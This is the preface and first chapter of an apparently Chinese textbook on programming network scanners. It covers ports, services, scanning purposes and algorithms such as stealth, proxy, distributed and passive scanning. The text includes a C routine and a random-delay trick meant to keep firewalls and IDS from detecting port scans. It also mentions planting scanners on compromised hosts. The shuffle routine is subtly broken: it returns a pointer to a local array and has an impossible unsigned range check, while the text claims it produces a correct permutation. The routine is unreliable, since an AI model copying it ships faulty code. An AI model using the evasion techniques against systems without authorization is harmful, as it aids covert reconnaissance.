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前言

计算机网络的普及，使人们越来越关注网络的安全。而网络安全又取决于网络管理员和网络用户对网络的了解，这种了解不仅包括如何使用网络应用程序，还包括网络的配置甚至网络的技术细节。

网络中，协议是任意两台主机之间进行通信的前提和始终贯彻的原则。因此本书首先在第1章中对网络扫描的概念、原理、目的、算法、历史进行了综述，然后在第2章着眼于现在网络，特别是互联网中网络协议的意义，以及如何通过协议进行编程，由浅入深，逐步分析了网络协议的各项技术细节。

网络服务是一台主机对外开放的最终目的，而端口又是服务的对外窗口。因此以前很多人对网络扫描的理解就是端口扫描。端口直接与服务对应的关系，使得端口越来越成为人们关注的目标，打开一种服务就意味着打开了一个或几个端口，同时也打开了一扇“大门”，因此在第3章中，对端口扫描进行了全面详细的论述。

协议不同，对端口的扫描也不同，因此在随后的第4、5、6章中，分别介绍了基于NetBIOS、SNMP、ICMP扫描的协议、原理、扫描器实现方法等细节。

网络服务必然存在端口，但由于端口本身不具有强制性，所以即使扫描到端口，也不意味着必然对应某一服务，因此端口扫描只能作为初判，服务扫描才是真正判断对方是否提供某服务的最终方式。在第7章中，详细地介绍了完全基于服务的扫描方式，主要有WWW服务、FTP服务、Telnet服务、E-mail服务等应用层服务。这些服务极具扫描的普遍性，可以说，有了针对这些服务的扫描器设计框架和设计思路，任何一个新协议、新服务都可以用此方法做出相应的扫描器。在第8章中，介绍了另一种基于应用的扫描方式，在这里，除了WWW服务、FTP服务之外，还包括了对网络资源的扫描。这种扫描由于使用了应用层的API，所以程序简捷、透明性强，但对底层的控制不多。

在第9、10两章中，介绍了几种特殊应用领域的扫描方式：命名管道扫描器和服务发现扫描器。这两种扫描器是较新的技术，并且可以使网络扫描从仅限于安全领域内的应用，转换到生活领域内的应用。

第11章的漏洞扫描器则是对网络中存在的漏洞进行扫描，从而发现漏洞以及漏洞的位置。这种扫描方式具有很大的实用性，但这类漏洞扫描器的编制有一定的难度，且具有较强的时效性。

第12章介绍扫描防范技术，通过这些技术，可以检测或防止别人对主机本身或网络进行扫描。

为了统一形式，书中在介绍各扫描器时都先介绍协议，使读者对该协议有个初步的了解。然后对其API，特别是扫描器中要使用的API函数进行详细介绍，使读者知道该扫描器要实现的各种技术细节。再针对Windows中该协议程序的安装、配置、测试和验证进行详述，使读者有演习场地。最后是扫描器的编程实例。采用这种循序渐进、逐步深入的方式，读者不仅能深入全面地了解扫描器细节，也能在遇到新情况时举一反三，对代码进行修改或调整。

在全书的组织上，虽然按技术人为地分了很多章，但实际上各章内容则是你中有我，我中有你，相互解释，相互引用，建议读者先读第1、2章，第3～10章则可以按需要酌情选读，最后再看第11、12章。

纵观这些扫描器系统及扫描监测、防护系统，无论是“攻”，还是“防”，都不取决于程序的设计程度，而是取决于使用程序的人。对于黑客，会利用攻方系统刺探、入侵别人的系统，用防方系统保护自己不被发现或刺探；而对于网络普通用户或网络管理员，则要通过攻方系统扫描自身缺点，防患于未然，同时利用防方系统及时发现别人的扫描操作。再安全的系统，都有漏洞，再全面的技术，都有不足，真正的网络安全，需要丰富的安全常识和强烈的安全意识。

全书中的说明和编程实例均以Microsoft Windows XP（SP3）作为默认的操作系统、以Microsoft Visual C++6.0（SP6）作为默认的开发环境。

本书附带光盘，内容包括本书所有程序的源码工程文件，以及个别程序所需的必要支持文件。


 声明

本书、光盘所有例程，其源码部分版权归本书作者。本书、光盘（包括由例程编译生成的可执行文件）的源码、可执行文件不得用于以下目的：

❑商业销售。

❑网站下载。

❑攻击任意对方未授权的网站。


第1章　绪论

网络在人们生活中占据了越来越重要的位置，人们以各种方式访问网络，在享受网络带来的方便的同时，也越来越多地感受到网络安全所潜在的和已带来的问题。

作为一个用户，自己的主机是否安全；作为网络管理员，所管理和维护的网络是否安全，解决这些问题除了及时打上操作系统的最新补丁以及安装防火墙和防病毒软件之外，是否还有别的方法呢？答案很简单，就是以一个访问者的角度，全面审视一下自己的网络有什么，没有什么，还有哪些缺陷或漏洞，这正是网络扫描的主要功能之一。

网络扫描的使用者不同，扫描的目的和范围也不同，如前所述，用户和网络管理员所关注的扫描目的和范围就有很大的不同。扫描的目的不同，扫描的原理当然也不相同，同时，客观上由于扫描程序所在的主机、要扫描的主机不同，操作系统不同，配置不同，而使用的扫描器、扫描方式也会不尽相同。正因为此，可以发现网络扫描是一个综合的技术领域，当然，根据实际情况，具体问题可以具体分析；同时，也可以看出任何一项扫描技术都具有一定的局限性。

网络扫描不是自网络出现就专门设计的一种应用服务，而是当网络发展到一定阶段后，不同程序设计者根据不同的需求而产生的。同时，由于网络扫描不是一种通用的应用服务，所以并没有产生相应的行业标准。纵观整个网络扫描史，可以分为手工扫描、使用通用扫描工具、设计专用扫描工具三个阶段。

最后，本章对当前仍然广泛存在的几个与网络扫描有关的漏洞进行了简述。


 1.1　网络安全的概念

网络安全是指网络中的硬件系统、软件系统及其系统中涉及的数据因受到预设的保护，而可以连续、可靠、正常地运行，并不因偶然事故或者恶意处理而遭受破坏、非法更改、信息泄漏。网络安全从其本质上来讲就是网络上的信息安全和服务安全，从广义来说，凡是涉及网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。网络安全涉及计算机技术、网络技术、通信技术等多种技术，是一门汇集信息论、密码学、数论等多种学科的综合性学科。

网络安全更多看重的是应用实践，因为实践才是检测网络安全的唯一标准。同时，由于网络安全涉及网络的所有方面，故网络安全的关键在于培养网络用户的安全意识，只有用户具备良好的安全意识，各网络安全工具才能更好地结合，产生最佳效果。


1.2　网络扫描的概念

网络扫描是根据对方服务所采用的协议，在一定时间内，通过自身系统对对方协议进行特定读取、猜想验证、恶意破坏，并将对方直接或间接的返回数据作为某指标的判断依据的一种行为。在上述定义中，网络扫描的概念包含以下意思：

❑网络扫描器几乎全部是客户端一方的程序，所针对的对象绝大多数是服务器方。

❑网络扫描通常是主动的行为，绝大多数网络扫描器的扫描行为都是在或希望在服务器不知情的情况下偷偷进行，通常在扫描器的设计中，扫描行为应尽可能地避免被服务器察觉。所以扫描器通常不会对被扫描的主机有过多的要求，只能主动适应服务器的各项要求。

❑网络扫描通常具有时限性。该时限虽然没有一个明确的界限，但一般来说都是接近扫描的最快速度。如果某个用户每隔几个小时访问一下公司的网站主页，则不能算是扫描。

❑扫描几乎都是要用工具进行，因为操作系统提供的程序并不都具有扫描的各项要求。

❑扫描的目的一般是，对预先的猜想进行验证或采集一些关心的数据。

❑不可回避的一点就是，网络扫描更多地被黑客用于选择攻击目标和实施攻击，并且由于扫描自身的特点，通常被认为是网络攻击的第一步。


 1.2.1　服务和端口

生活中的“服务”是指为他人做事，并使他人从中受益的一种有偿或无偿的活动，该活动通常不以实物形式，而是以提供“活劳动”（指物质资料的生产过程中劳动者的脑力和体力的消耗过程）的形式满足他人某种特殊需要。

在网络中，“服务”是指某主机按预先定义的协议和一些国际标准、行业标准，向其他主机提供某种数据的支持，并且称服务提供者为“服务器”（Server），称服务请求者为“客户端”（Client）。与生活中的服务相比，网络上的服务更强调的是协议，即双方必须具有相同的协议，才能进行交流。

一台主机可以安装多个服务，这些服务可以是相同的服务，也可以是不同的服务。为了区分这些服务，引入“端口”（Port）这个概念，即每一个服务对应于一个或多个端口。端口具有独占性，一旦有服务占用了某个端口，则通常情况下，另外的服务不能再占用这个端口。

根据Berkeley套接字的约定，端口名称用一个2字节（16位）的无符号整数来表示，范围为：0～65535，共65536个。其中，端口名称在0到1023之间的端口习惯上称为“熟知端口”（well-known port），主要用于一些公用的并得到国际组织IANA（The Internet Assigned Numbers Authority，互联网数字分配机构）公认的服务；端口名称在1024至49151之间的端口称为“登记端口”，主要用于服务类，而又不属于熟知端口的程序使用；端口名称在49152至65535之间的端口称为“临时端口”，是指任何程序都可以临时使用的端口。原则上，1024至65535之间的端口，只要不出现冲突，用户程序可以根据情况随时使用。

有关端口更详细的说明，参见3.1.1节“端口的概念”。

需要说明的是，由于习惯问题和历史原因，有很多术语产生了混淆。比如在计算机的整机设计和生产时，常常将主机区分为“服务器”（Server）和“工作站”（Work Station），二者从整体设计、部件生产、整体检测方式上都不同。比如服务器通常是无人值守，并需要每周7×24小时正常运转，所以优先考虑的是CPU性能、内存容量、网络吞吐量；而工作站则主要是由用户来操作的，因此更多关注的是显示效果、音频效果等方面。

这种和工作站所对应的、硬件上的服务器（下面称为主机）与上述中和客户端相对应的服务器（下面称为服务端或服务器端）没有必然的对应关系。即TCP/IP协议虽然规定了各个协议的实现细节，但却并没有硬性地规定应用程序应如何与协议软件进行交互。因此实际上所说的服务端和主机之间没有一个一一对应关系。主机是一个硬件的概念，是一台物理设备，而服务端是指一组软件系统，一台主机上可以装多个服务器软件来提供服务，而某个服务端也可以由几台计算机通过软件进行捆绑后实现，因此，可以看出，一个普通主机装上服务端软件，即可以作为一个服务端向客户端提供服务，一台服务器的主机向另一台服务端请求服务的时候，它是作为一个客户端的身份出现的。甚至一台主机，既可以是服务端，也可以作为一个客户端。

另一个软件和硬件名称出现混淆的就是“端口”。即使是在计算机的物理硬件上，也有两个混用的“端口”，一个是计算机连接其他的外部设备的外部物理接口，一般来说统称为端口，如计算机或交换机、路由器等物理设备面板上的RJ-11端口（接电话线的Modem口）、RJ-45端口（即以太网网口）、RS232端口（早期的串行设备接口）等；另一个是专指计算机上的RS232/RS482接口，并且都使用端口（Port）作为其名称。而本处所指的端口则是逻辑上的端口，是专指通过RJ-45以太网网口连接以后，利用协议进行区分的逻辑上的一个值。由此可见，访问网络上的一个指定的服务至少需要知道IP地址和端口两个要素，即

Socket地址=（IP地址：Port端口号）

服务器要想让客户端访问自身，必须同时将二者公布于众，缺一不可；否则客户端将不知道该到哪台主机或某台主机的哪个端口上访问服务，即：

连接=(Socket地址1，Socket地址2)=（IP地址1：Port端口1，IP地址2：Port端口2）

在对端口的状态描述中，各种称呼都有，有的用“开”和“不开”，有的用“激活”和“关闭”，有的用“开”和“关”，鉴于所表示的意义完全一致，因此，后续部分中，统一称为“开”和“关”。“开”即表示有对应的服务程序通过该端口向外界提供相应服务，只要外界使用满足这一端口的协议访问该端口，就可以得到相应的服务；而“关”则表示对应的服务程序没有安装或当前没有处于运行状态，即使在客户端运行相应访问请求的程序，仍无法得到结果。比如运行浏览器IE（Internet Explorer）并在地址栏输入一个不提供WWW服务的IP地址后，IE就会得到回复：访问出错。


1.2.2　网络扫描

扫描源于物理术语，是通过对一定范围内的光或电信号进行检测处理，然后以数值或图形方式进行展示的一个操作。网络扫描也一样，是通过对一定范围内的主机的某种属性进行试探性地连接和读取操作，最终将结果展示出来的一种操作。

端口具有独占性，一旦一个服务使用了某个端口，则另外的服务不能再使用这个端口。端口的占用原则是：先申请的先使用，后申请的在申请时报错。同时，上述的这种对应关系，只是一种约定，但任何操作系统都没有强制软件遵照执行，因此在使用时，存在如下几个情况：

❑某个主机不向外界提供WWW服务，所以该主机的80端口是空闲的。但该主机上的另一个不提供WWW服务的程序使用了80端口。因此，该主机80端口是对外打开的，但不提供WWW服务。

❑某主机虽然提供WWW服务，但该主机并不想让别的人都知道该主机提供该服务，于是该主机的管理员将该主机上的WWW服务的端口由默认的80端口，改为了其他的端口8000，并将该端口告诉了他允许访问的用户。在这种情况下，需要通过其他联系方式通知所有允许访问的主机。

❑某主机对外界想同时提供基于ASP的WWW服务和基于JSP的WWW服务，二者虽然同为WWW服务，但运行机制、配置等各不相同，并且没有一个通用的软件能同时提供，且二者占用了同一个端口80，于是该主机的管理员将ASP设定为80端口，而将JSP的端口设定为8080端口，并在双方主页上互相告知对方端口的存在。

有了服务，就相当于打开了某一个或几个指定的端口，则客户端就可以通过Socket连接到服务器端的该端口，并获取服务。例如某一台计算机配置了WWW服务，该服务默认的端口是80，则在客户端上打开浏览器（如Microsoft的Internet Explorer），输入该服务器的网址，就可以访问该服务器的WWW服务。

但在某些时候，扫描有三种应用：

1）我们不知道远端的服务器是否提供WWW服务，或者我虽然知道远端的服务器提供WWW服务，但该服务使用的不是默认的80端口，而是使用自己定义的端口，那么怎么知道对方是否提供WWW服务，并且该服务在哪个端口呢？该操作就叫WWW服务扫描。

2）我并不想知道远端的服务器是否有某一个具体的服务，我只想知道对方服务器都有哪些服务，可以通过扫描对方所有打开的端口实现，这时，该操作叫做端口扫描。

3）对于一批计算机，我想知道这些计算机是否提供某个服务，或这些计算机都打开了哪些端口，这种操作叫做批量扫描。

由此可见，所谓的网络扫描，就是一方通过某种协议，在目标主机不需知情的情况下，对其实施的一种获取想要的信息或通过读到的信息验证预想的行为过程。在此概念中有两个部分：

1）网络扫描中，目标主机可以知情，也可以不知情，因此这不是一种双方预商量的行为。

2）扫描的目的无论是读取信息，还是想验证某一个事先的预想，其目的都是作为下一步行动的参考。因此网络扫描往往不是一次单独的行动，之后通常会有下一步的操作。


1.3　网络扫描原理概述

根据扫描的概念可以发现，当一个主机向一个远端服务器的某个端口提出建立连接的请求时，如果对方有此项服务就会应答；如果对方未安装此项服务，即使向相应的端口发出请求，对方仍无应答。客户端向服务端发出请求的过程见图1.1。利用这个原理，如果对所有熟知端口或自己选定的某个范围内的熟知端口分别建立连接，并记录下远端服务器所给予的应答，通过查看记录就可以知道目标服务器上都安装了哪些服务，这个过程就叫做端口扫描，所使用的程序叫做扫描程序。通过端口扫描可以搜集到很多关于目标主机的很有参考价值的信息，例如，对方是否提供FTP服务、WWW服务或其他服务。
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图　1.1　网络TCP/UDP扫描示意图


1.4　扫描编程与客户端编程的区别

同样是网络编程，同样采用C/S（客户端/服务器）模式，在网络通信中的角色也相同，所以说网络扫描编程属于客户端编程的一种，但又不完全等同于客户端编程。为了区分，下面分别用扫描程序和客户端程序称呼二者。

与客户端程序相比，网络扫描程序具有一定的特殊性，主要体现在如下几个方面：

❑对服务端的要求不同。从实际的编程角度来看，如果是普通客户端程序的开发，客户端的开发者与服务器的开发者首先需要共同协商以决定通信时采用什么协议等细节；而扫描程序的开发者则需要通过已有的协议或猜测、试探等方式决定采用什么技术，故扫描程序对服务器端是没有要求的。同时，扫描程序的扫描结果也常具有不可预知性。

❑扫描具有全部或局部的“遍历”性，客户端具有针对性。普通客户端的开发者一旦确定了需求，剩下的就是按需求去实现各功能的细节；而扫描程序的开发者则通常通过对全部或局部进行功能遍历，以期验证自己的猜测或获得更多更详细的数据。

❑对服务器的服务支持程度不同。客户端连接服务器的目的是为了让客户端用户能远程地使用服务器所提供的各项功能，因此，通常客户端程序要支持所有的命令，有些命令哪怕只有极少数机会被用到，客户端也必须提供支持；而扫描程序则只需要支持和使用所需要的最少的几个命令。


1.5　网络扫描的目的

网络服务本身就是一种“广而告之”的通信方式，任何网络服务，如果提供者不将自身提供的服务告诉别人，别人当然也无所知晓，更谈不上使用。但实际应用中，则有各种可能情况，如网络服务的提供者只想让一部分人访问，而不是所有人都能访问；再如随着计算机系统越来越复杂，有时运行一项功能，会默认自动地打开某个服务。

不同的扫描目的，对扫描器的要求也不一样。有些用户只需要知道某个端口是开或是关，或者只想了解某一段端口内，有哪些是开着的，从而判断对方主机的大概作用。而有些用户则不但要知道某一端口是否开，而且还要知道对方所开的这个端口是否提供了默认情况下该端口所应该提供的服务。还有些用户需要知道若干的指定端口是否同时开或同时关，因为有些服务同时占用了几个端口，如NetBIOS服务同时占用了137、138、139三个端口，如果只是其中部分端口开着，不但表明对方没有提供NetBIOS服务，还表明对方有不符合标准的程序正在使用熟知端口。

扫描的目的一般是：

❑获取某范围内的端口某未知属性的状态。这种情况下，一般是不知道对方情况，只是想通过扫描进行查找。例如，通过扫描检测某个网段内都有哪些主机是开着的。

❑获取某已知用户的特定属性的状态。这种情况下，一般是有明确的目标，有明确要做的事，下面只是查找一下某些属性。例如，通过扫描检测指定的主机中哪些端口是开的。

❑采集数据。在明确扫描目的后，主动地采集对方主机的信息，以便进行下一步的操作。例如，没有预定目的地扫描指定的主机，判断该主机都有哪些可采集的数据。

❑验证属性。在明确扫描目标，并且知道对方具有某个属性的情况下，只是通过扫描验证一下自己的想象，然后判断下一步的操作。例如通过扫描指定的服务，验证对方是否是Windows类操作系统。

❑发现漏洞。通过漏洞扫描，主动发现对方系统中存在的漏洞。如扫描对方是否具有弱密码。

扫描的用户主要为三大类：网络管理员、黑客、普通用户，他们对网络使用的角度不同，所以扫描的目的也各不相同，见表1.1。
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1.6　网络扫描算法

在实际扫描器编写过程中，除了有各种技术的选择之外，还需要选择合适的扫描算法。使用哪些扫描算法，也完全取决于扫描的目的，因为这些算法有些可以提高扫描效率，有些可以增加扫描准确度或扫描隐蔽性，有些甚至可能牺牲某些优点而获得所需要的特性。


 1.6.1　非顺序扫描

参考已有的扫描器，会发现几乎所有的扫描器都无一例外地使用增序扫描，即对所扫描的端口自小到大依次扫描，殊不知，这一效果可以被对方的防火墙或IDS（Intrusion Detection System，入侵检测系统）作为判断正被扫描的特征。虽然通过多线程会使这一特征发生少量的变化，但从整体效果上看，仍然显示增序现象。

改变增序特征并不难，一般有如下几种非顺序扫描算法。

1.逆序扫描算法

顾名思义，逆序扫描就是在扫描的时候，采用从大到小的逆序扫描方式。

2.随机重排扫描算法

随机重排扫描即重新排列要扫描端口的顺序。在新排的顺序中，为了避免漏掉或重复使用某一端口，可以采用互换位置的方式进行。这个过程可以用一个数组和随机数产生函数rand来实现：



#define MAXPORTCOUNT 65536

WORD*NewSort(WORD wBegin,WORD wEnd)

{

WORD buff[MAXPORTCOUNT]={0};//建立一个数组

WORD count=wEnd-wBegin,i,wTemp,wRand;

if(count＜0)return NULL;//判断范围的合理性

srand(time(NULL));//随机种子

for(i=0;i＜=count;i++)//先将所有值复制到数组中

buff[i]=wBegin+i;

for(i=0;i＜=count;i++)

{//顺序地让每一个端口值与另一个值对换

wRand=rand()%count;//读取一个随机位置

//将当前位置的数据与随机位置的数据互换

wTemp=buff[i];

buff[i]=buff[wRand];

buff[wRand]=wTemp;

}

return(WORD*)buff;

}



利用这段程序可以保证打乱后的端口顺序不被遗漏，也不会重复，而新的顺序完全是随机分布的。采用这个顺序进行扫描的时候，对方防火墙在监测到某个端口连接时，无法立即对下一个要连接的端口进行预测，从而使“基于通过连续端口被连接算法进行扫描判断”的方式失效（详见12.3节“基于哨兵的端口扫描监测”）。

3.线程前加延时扫描算法

为了提高扫描速度，很多扫描算法都采用多线程扫描。在Windows中，同级别的扫描线程通过抢占方式获得CPU的优先使用权，各个线程理论上没有先后之别，但考虑到创建时总要有一定顺序，因此即使在运行中偶尔相邻的两个线程顺序会做出调整，整体上各线程之间也有先后的顺序。

一个简单的算法就是在每一个线程中，扫描函数开始之前挂起（Halt）一个随机的时间，这样会在不影响各线程创建时间的前提下，调整各线程中扫描的顺序。具体的方法就是在线程的开始加一句：



Sleep(rand()%5000);//假设每个线程挂起时间是5秒以内的一个随机数




1.6.2　高速扫描

随着网络的迅速发展，一个部门内部的网络系统规模迅速扩大，有的达到成百上千个节点。对如此规模的目标进行全面的扫描，要求扫描工具的速度非常快，于是出现了各种各样的高速扫描技术。常见的高速扫描算法有多线程并行扫描技术、基于KB（Knowledge Base，知识库）技术、将扫描和判断分离的技术。

多线程的扫描技术几乎贯穿整本书和应用于大多数的扫描器中，所以不再详述。

KB技术是指把扫描过的主机信息存储起来，当下次扫描的时候，首先以上次的扫描结果作为参考，先对用户最关心的方面进行重新扫描，然后对其余部分进行扫描，这样既能提高扫描速度，又能有效降低占用的带宽。例如，某次扫描中，用户只关心原有“开”的端口是否仍处于开的状态，则只需要扫描上次记录中“开”状态的端口即可。

并不是所有扫描都可以使用多线程，在一些特殊扫描中，常规的API函数无法满足扫描的要求，这时需要采用非常规的方式。例如扫描UDP某端口时，通过sendto函数发送数据包后，需要通过嗅探（Sniffer）技术读取ICMP协议，而嗅探可以接受任意数据包，因此采用多线程时，各线程的嗅探会因相互接对方的回复包，而导致扫描结果出错。如果采用单线程，则需要不停地重复“发出探测包→接收结果→分析结果”这一流程，其中最耗时间的是发出探测包和接收结果。如果将发送和接收分开，发送只负责发送，接收操作统一进行，那么，由发出探测包到接收结果之间的等待时间成为并行，从而大大提高扫描速度。在第6章的6.6节“编程实例：快速多IP的ICMP扫描器”中，将详细介绍此算法及其具体实现方式。


1.6.3　分布式扫描

高速扫描主要依靠多线程实现，而分布式扫描则主要使用多台主机同时对目标主机进行扫描，参与的主机可以事先约定后主动加入，也可以被入侵后植入扫描程序。在实施扫描的时候，由主控主机向各参与的主机发送要扫描的主机IP地址和端口范围，然后所有主机同时向被测主机进行扫描。

这种扫描方式最大的优点是速度快，而且由于扫描信息包来自不同的IP地址，所以被扫主机的防火墙会因为不像一次扫描行为而无法判断。如果不考虑扫描的目的，DDOS其实也可以认为是分布式扫描方法之一。


1.6.4　服务扫描

端口扫描器只能扫描出端口的状态是否开放，而不会判断端口所对应的服务是否为该端口所具有的默认服务。服务扫描则是直接对服务进行扫描，并通过服务的存在与否，间接地判断端口是否处于“开”状态。同时，服务扫描本身也是一种需求，本书第7章和第8章是与服务扫描相关的介绍与编程实现。


1.6.5　指纹识别算法

现在，操作系统种类繁多，版本更新的速度越来越快，想要了解某个远程主机的更多信息，则可以通过操作系统指纹识别算法判断对方所用的操作系统类型，甚至是版本号。所谓指纹识别技术就是与目标主机建立连接，并发送某种请求，由于不同操作系统以及相同操作系统不同版本所返回的数据或格式不同，这样，根据返回的数据就可以判定目标主机的操作系统类型及版本。

通常的指纹识别算法有几大类，一类是通过操作系统提供的服务进行判断，各主流操作系统都内嵌一些服务器软件，常见的如FTP、Telnet、HTTP和DNS服务器，这些软件都会在欢迎信息、版权声明、命令回复中或多或少地透露自身的版本号，这也可以间接地反映出操作系统的类型和版本号。但这种方式也有不足之处，就是这些信息有些不准，甚至是错误的。

另一类就是根据一些协议实现上各操作系统的细微差别进行判断，如通过TTL值进行操作系统识别（详见第6章的6.2.1.2节“通过TTL值判断对方操作系统的简易方法”中的内容）、TCP FIN扫描（详见第3章的3.2.2节“TCP扫描”中的内容）等方法。


1.6.6　漏洞扫描

网络扫描大部分的目的是获得对方信息，为下一步操作做出判断，漏洞扫描则直接提供了攻击对方的方法。漏洞扫描器是所有扫描器中应用针对性最强、时效性最差的一种扫描器，前者是说通常某漏洞扫描器只针对某一应用，甚至要精确到某一软件的某一版本；后者是说一旦这种扫描算法或原理公开，则该漏洞很快会被开发人员补上，导致该扫描器失效。但由于其针对性最强，所以也最具攻击性。漏洞扫描的另外一种表现形式就是“安全扫描”，因为有些安全选项设置错误，本身也相当于漏洞，如“允许匿名登录”、“网络某服务不需要认证”等选项设置。

第11章“漏洞扫描器的设计”中，详细说明了此类扫描器的相关内容。


1.6.7　间接扫描

间接扫描的思想是利用第三方的IP（欺骗主机）来隐藏真正扫描者的IP。由于扫描主机会对欺骗主机发送回应信息，所以这种扫描的使用者必须具有监控欺骗主机的能力，以便获得原始扫描的结果。


1.6.8　秘密扫描

正常情况下的扫描有时会被对方的防火墙或入侵检测系统（IDS）监测到，所以有些扫描器通常采用秘密扫描方式进行扫描。最典型的例子就是，扫描程序通过采用非正常和非常规的方式，试探协议中在网络较差情况下的容错技术，通过这些容错技术的不同反馈达到扫描的目的。这种方法由于没有完成正常的操作，所以对方不会认为是一种扫描或攻击，而只会认为是一次网络错误的发生，从而不会被记录下来，这相当于绕过了对方的安全机制，故名秘密扫描。

在第3章3.2.2节“TCP扫描”中，详细分析了“TCP SYN扫描”、“TCP ACK扫描”、“TCP NULL扫描”、“TCP FIN+URG+PSH扫描”、“TCP FIN扫描”等几种常见的秘密扫描方式。

由于部分反馈方式在协议中没有明确的规定，所以不同的操作系统在实现的时候并不完全相同，因而扫描效果也不尽相同。如上述多数秘密扫描方式通常适用于目标主机是UNIX/Linux操作系统，而对于Windows系列的操作系统，由于Windows不论目标端口是否打开，操作系统都发送相同的反馈数据包，因而导致上述大部分秘密扫描算法无效，但这也同时给指纹识别扫描算法提供了素材。


1.6.9　认证扫描

认证扫描则是利用认证协议的特性，通过判断获取到的监听端口的进程特征和行为，获得扫描端口的状态。认证扫描尝试与一个TCP端口建立连接，如果连接成功，扫描器发送认证请求到目标主机的TCP113端口，同时获取运行在某个端口上进程的用户名（userid），从而达到扫描的作用。

在第3章的3.2.2节“TCP扫描”中，有对认证扫描较详细的分析。


1.6.10　代理扫描

当前的很多企业内部网，考虑到各种因素影响，需要通过代理服务器访问外网，因而也就有了代理扫描。代理扫描需要在原有所有算法的基础上再加上一个与代理服务器的通信，当前代理服务器的协议主要是SOCK5。在代理扫描方式下，所有的扫描看上去像是对代理服务器的扫描，因为所有数据都通过SOCK5封装后发给了代理服务器，而代理服务器会将这些数据转发给被扫描的目标主机。这种扫描方式，在被扫主机看来，是由代理服务器本身在扫描自己，因而代理扫描难以反向跟踪。

与“间接扫描”不同的是，代理扫描源主机将数据发给代理服务器，代理服务器将“扫描”转发给目标主机，而代理服务器将目标主机的反馈也原封不动地转发回源主机，由源主机进行判断；间接扫描则是源主机控制了中间主机，由中间主机代为扫描，并判断出结果，源主机通过其他方式获得扫描结果。


1.6.11　手工扫描

手工扫描是指在没有任何专用扫描器的前提下，只利用操作系统提供的命令或自带的程序文件进行扫描。当前主流操作系统都提供ping、nbtstat、netstat、net等命令，这些命令虽然都不具有扫描的特性，但通过这些命令都可或多或少地获得很多信息。

严格上说，手工扫描根本就不能算是一种扫描算法。因为这些程序本身算法各异，并且大部分命令只针对某一应用而做，很难显现“扫描”的特点。但考虑其在某种特殊场合下也许是唯一的选择，故也将其列为一种算法。

在第3章的3.3节“手工扫描”中，专述如何通过手工扫描达到临时扫描器的作用。同时，在第2章的2.3节“嵌入外部程序”中，专述在有现成工具的前提下，如何通过嵌入命令或外部程序，而将结果嵌入到自身系统。


1.6.12　被动扫描

以上几乎所有的扫描都属于主动探测模式，即发送刺探信息，然后根据对主机的反馈做出判断。这种模式最大的缺点就是首先要向对方发出刺探信息，这种信息本意是探测别人，但对方根据所发的信息，又能反向获得发送方的信息。这种模式在网络攻防“此消彼长、不进则退”的大环境中，有时不但检测不到对方真实的信息，反而会被对方反向监测。

被动扫描模式则不发送刺探消息，而只是监听。在这种模式下，扫描方从不或极少主动发送任何信息，而只是按协议被动地搜集被扫描主机的敏感信息，最终达到扫描的目的，由于不主动发信息，所以对方无法反向监测，因此这是一种非常安全的方式。

通常情况下，被扫描的主机是不会主动联系扫描主机的，所以被动扫描只能通过截获网络上散落的数据包进行判断。这些散落的数据包有多种形式，主要有：

❑被扫描主机通过广播方式向所有主机发送的数据包。

❑有些主机之间，通过组播方式进行数据通信，而要扫描的主机只要加入到该组播中，便可监听各主机之间通过组播方式进行的所有通信。

❑即使是交换环境中，仍有很多数据包散布至各交换机端口，只是主机网卡在发现不是给本机的数据时直接扔掉。只要将网卡设成混杂模式（Promiscuous Mode），便可收到这些数据包。

在第10章“服务发现扫描器的设计”中，将介绍如何通过被动扫描方式获取当前活动的主机，在第11章的11.4节“明文密码嗅探”中，介绍如何通过被动扫描获得网上明文传输的密码。


1.7　网络扫描器的分类

能够进行扫描的软件称为扫描器，不同的扫描器，所采用的技术、算法、效果各不相同。根据扫描过程和结果不同，可以把扫描器分成几个类别：

❑根据扫描软件运行环境可以分为UNIX/Linux系列扫描器、Windows系列扫描器、其他操作系统扫描器。其中UNIX/Linux由于操作系统本身与网络联系紧密，使得此系统下的扫描器非常多，编制、修改容易，运行效率高，但由于UNIX/Linux图形化操作较为复杂，故其普及度不高，因此只有部分人会使用。Windows系统普及度高，使用方便，极易学习使用，但由于其编写、移植困难而数量不太多。其他操作系统下的扫描器因为这些操作系统不普及而使得这类扫描器难以普及。

❑根据扫描端口的数量可以分为多端口扫描器和专一端口扫描器。多端口扫描器一般可以扫描一段端口，有的甚至能把六万多个端口都扫描一遍，这种扫描器的优点是显而易见的，它可以找到多个端口从而找到更多的漏洞，也可以找到许多网管刻意更换的端口。而专一端口扫描器则只对某一个特定端口进行扫描，并给出这一端口非常具体的内容，一般特定端口都是非常常见的端口，比如21、23、80、139。

❑根据向用户提供的扫描结果可以分为只扫开关状态和扫描漏洞两种扫描器。前者一般只能扫描出对方指定的端口是“开”还是“关”，没有别的信息。这种扫描器一般作用不是太大，比如，非熟知端口即使知道开或关，但由于不知道提供什么服务而没太大的用途。而扫描漏洞扫描器一般除了告诉用户某一端口状态之外，还可以得出对方服务器版本、用户、漏洞。

❑根据所采用的技术可以分为一般扫描器和特殊扫描器。一般扫描器在编制过程中通过常规的系统调用完成对系统扫描，这种扫描只是网络管理员使用，因为这种扫描器在扫描过程中会花费很长时间、无法通过防火墙、在被扫描机器的日志上留下大量被扫描的信息。而特殊扫描器则通过一些未公开的函数、系统设计漏洞或非正常调用产生一些特殊信息，这些信息使系统某些功能无法生效，但最后却使扫描程序得到正常的结果，这种系统一般主要是黑客编制的。


1.8　网络扫描技术的发展史

扫描技术本身并不是一个网络功能，而且在网络发展到一定阶段后，这种需求的产生，导致扫描技术的产生和发展。根据扫描技术的发展过程，可以把扫描分为手工扫描、使用通用扫描器、设计专用扫描器三个主要阶段。三个阶段互相重叠，没有明确的界限，由于扫描技术主要是由民间进行推进，所以目前也没有分类标准和判断标准。


 1.8.1　手工扫描阶段

最简单、最原始的扫描方法就是手工扫描，所谓手工扫描就是用要扫描服务的客户端与服务器进行连接，或通过其他的工具采用非常规的方式与服务器进行连接，从而验证对方是否打开了某个端口，提供了某个服务，或具有某个漏洞。在结果中，如果程序正常运行就表示该服务器提供此项服务，否则表示对方没有提供此项服务。

